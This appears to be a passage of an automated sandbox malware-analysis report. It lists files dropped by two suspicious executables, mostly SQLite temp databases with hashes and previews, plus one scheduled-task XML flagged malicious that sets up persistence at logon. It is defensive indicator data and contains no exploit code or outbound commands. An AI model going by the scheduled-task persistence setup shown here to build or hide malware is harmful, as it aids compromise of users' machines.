File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1CF9.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp1D28.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2AD0.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp2B00.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp30C0.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp30D1.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp30E1.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp30F2.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3112.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3123.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp382E.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp383F.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3850.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3860.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp3B03.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	5.106323257825316
Encrypted:	false
SSDEEP:	24:2di4+S2qhlZ1Muy1my3UnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtpaxvn:cgergYrFdOFzOzN33ODOiDdKrsuTpuv
MD5:	39766B4AA3168A72ACCA756EA2737FE0
SHA1:	099DABEC596D6157E46EF7C86E72B0B979F018EA
SHA-256:	3947CB85CC890D9F03CB448E3466C6F66E861D72F550DEA44D39B0047725CF07
SHA-512:	FE1DAA54774FC8643AA3B2DEA04D7D65B5A72C94FB941E840A1B330F62551379F7865B0593B21A7590FF17964C6C11F4C2383D4AAE888932A8C049FC4A4798F0
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetwor

C:\Users\user\AppData\Local\Temp\tmp465.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp486.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4A6.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4B6.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4C7.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D8.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp4D9.tmp

Download File

Process:	C:\Users\user\Desktop\RgIbrhxoEx.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp539B.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp53CB.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tmp53DB.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\LjGABleGAy.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
